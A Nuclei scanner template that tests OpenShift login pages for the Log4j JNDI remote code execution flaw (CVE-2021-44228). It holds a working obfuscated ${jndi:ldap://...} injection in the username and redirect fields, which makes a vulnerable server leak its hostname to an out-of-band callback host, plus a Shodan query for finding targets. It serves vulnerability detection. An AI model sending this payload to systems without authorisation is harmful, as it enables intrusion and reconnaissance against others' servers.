66 lines
2.5 KiB
YAML
66 lines
2.5 KiB
YAML
id: openshift-log4j-rce
|
|
|
|
info:
|
|
name: OpenShift - Remote Code Execution (Apache Log4j)
|
|
author: shaikhyaser
|
|
severity: critical
|
|
description: |
|
|
OpenShift is susceptible to Log4j JNDI remote code execution. OpenShift is a unified platform to build, modernize, and deploy applications at scale.
|
|
reference:
|
|
- https://access.redhat.com/security/cve/cve-2021-44228
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 10
|
|
cve-id: CVE-2021-44228
|
|
cwe-id: CWE-77
|
|
metadata:
|
|
max-request: 1
|
|
shodan-query: title:"OpenShift"
|
|
tags: cve,cve2021,rce,jndi,log4j,openshift,oast,kev
|
|
variables:
|
|
rand1: '{{rand_int(111, 999)}}'
|
|
rand2: '{{rand_int(111, 999)}}'
|
|
str: "{{rand_base(5)}}"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /Login HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{RootURL}}
|
|
Referer: {{RootURL}}/login?then=/oauth/authorize?client_id=openshift-web-console&idp=basic&redirect_uri={{BaseURL}}/console/oauth&response_type
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
then=%2Foauth%2Fauthorize%3Fclient_id%3Dopenshift-web-console%26idp%3Dbasic%26redirect_uri%3D${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}26response_type%3Dcode&username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&password={{str}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
|
words:
|
|
- "dns"
|
|
|
|
- type: regex
|
|
part: interactsh_request
|
|
regex:
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' #Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output#
|
|
|
|
extractors:
|
|
- type: kval
|
|
kval:
|
|
- interactsh_ip #Print remote interaction IP in output
|
|
|
|
- type: regex
|
|
group: 2
|
|
regex:
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' #Print injection point in output
|
|
part: interactsh_request
|
|
|
|
- type: regex
|
|
group: 1
|
|
regex:
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' #Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
|
|
part: interactsh_request
|
|
|
|
# digest: 490a0046304402207efd89e369904464503e470e3726c28383af202af384617d0a4ce9a7f65ca4ba02203b6d43a33ec6df5d0a4f43f979eeda9e3ec2fa07ddd4bc0c756fd76d3c77412a:922c64590222798bb761d5b6d8e72950
|